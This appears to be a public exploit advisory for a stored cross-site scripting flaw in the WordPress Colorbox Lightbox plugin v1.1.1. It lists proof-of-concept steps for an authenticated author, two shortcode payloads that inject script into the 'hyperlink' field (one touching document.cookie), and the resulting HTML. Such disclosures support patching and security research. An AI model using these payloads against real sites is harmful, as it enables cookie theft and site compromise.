# Exploit Title: WordPress Plugin Colorbox Lightbox v1.1.1 - Persistent Cross-Site Scripting Vulnerability (Authenticated) # Date: 10.8.2020. # Exploit Author: n1x_ [MS-WEB] # Software Homepage: https://wordpress.org/plugins/wp-colorbox/ # Software Link (v1.1.1): https://downloads.wordpress.org/plugin/wp-colorbox.1.1.1.zip # Product Version: 1.1.1 [Description] # WordPress Colorbox plugin is a simple lightbox tool for WordPress. It allows users to pop up content in lightbox using the popular jQuery ColorBox library. # Due to improper input santitization of "hyperlink" field, of the plugin shortcode, version v1.1.1 (and possibly previous versions), are affected by a stored XSS vulnerability. [Proof of Concept] # 1. Authorization as user with privileges to write and publish posts # 2. Injecting code into "hyperlink" field of the plugin shorthocode, and publishing the post # 3. The code is stored on the post [Example payloads] # Example payload 1: [wp_colorbox_media url="http://www.youtube.com/embed/example" type="youtube" hyperlink="<script>alert(document.cookie)</script>"] # Example payload 2: [wp_colorbox_media url="http://www.youtube.com/embed/example" type="youtube" hyperlink="<script>alert('sampletext')</script>"] [Response] ... <a class="wp-colorbox-youtube" href="http://www.youtube.com/embed/example"><script>alert('sampletext')</script></a> ...